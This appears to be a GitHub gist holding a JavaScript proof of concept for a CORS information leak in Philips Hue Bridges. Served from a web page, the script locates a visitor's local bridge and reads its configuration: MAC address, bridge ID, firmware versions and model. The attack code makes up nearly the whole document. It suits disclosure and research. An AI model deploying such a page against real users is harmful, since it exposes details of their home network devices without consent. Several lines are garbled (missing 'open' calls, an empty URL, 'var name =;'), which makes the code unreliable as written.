Skip to content

Instantly share code, notes, and snippets.

Created March 9, 2021 10:37
Show Gist options
  • Save vavkamil/9b77125eb4b6c7ff971aa9fa6b62e7ba to your computer and use it in GitHub Desktop.
Save vavkamil/9b77125eb4b6c7ff971aa9fa6b62e7ba to your computer and use it in GitHub Desktop.
<title>Hue Bridge CORS PoC</title>
var xhr = new XMLHttpRequest();"GET", "")
xhr.onreadystatechange = function(e) {
var hue_ip;
if (xhr.readyState === 4) {
var response = xhr.responseText;
var obj = JSON.parse(response);
hue_ip = obj[0].internalipaddress;
document.getElementById("hue_ip").textContent = hue_ip;"GET", "https://" + hue_ip + "/api/config");
xhr.onreadystatechange = function(e) {
if (xhr.readyState === 4) {
var response = xhr.responseText;
var obj = JSON.parse(response);
var name =;
document.getElementById("name").textContent = name;
var datastoreversion = obj.datastoreversion;
document.getElementById("datastoreversion").textContent = datastoreversion;
var swversion = obj.swversion;
document.getElementById("swversion").textContent = swversion;
var apiversion = obj.apiversion;
document.getElementById("apiversion").textContent = apiversion;
var mac = obj.mac;
document.getElementById("mac").textContent = mac;
var bridgeid = obj.bridgeid;
document.getElementById("bridgeid").textContent = bridgeid;
var factorynew = obj.factorynew;
document.getElementById("factorynew").textContent = factorynew;
var replacesbridgeid = obj.replacesbridgeid;
document.getElementById("replacesbridgeid").textContent = replacesbridgeid;
var modelid = obj.modelid;
document.getElementById("modelid").textContent = modelid;
var starterkitid = obj.starterkitid;
document.getElementById("starterkitid").textContent = starterkitid;
<h1>Proof of Concept</h1>
<h2>Hue Bridge CORS info leak</h2>
<strong>Note: first accept SSL cert from your Hue Bridge (https://IP)</strong>
<label for="hue_ip">IP:</label>
<span id="hue_ip"></span>
<label for="name">name:</label>
<span id="name"></span>
<label for="datastoreversion">datastoreversion:</label>
<span id="datastoreversion"></span>
<label for="swversion">swversion:</label>
<span id="swversion"></span>
<label for="apiversion">apiversion:</label>
<span id="apiversion"></span>
<label for="mac">mac:</label>
<span id="mac"></span>
<label for="bridgeid">bridgeid:</label>
<span id="bridgeid"></span>
<label for="factorynew">factorynew:</label>
<span id="factorynew"></span>
<label for="replacesbridgeid">replacesbridgeid:</label>
<span id="replacesbridgeid"></span>
<label for="modelid">modelid:</label>
<span id="modelid"></span>
<label for="starterkitid">starterkitid:</label>
<span id="starterkitid"></span>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment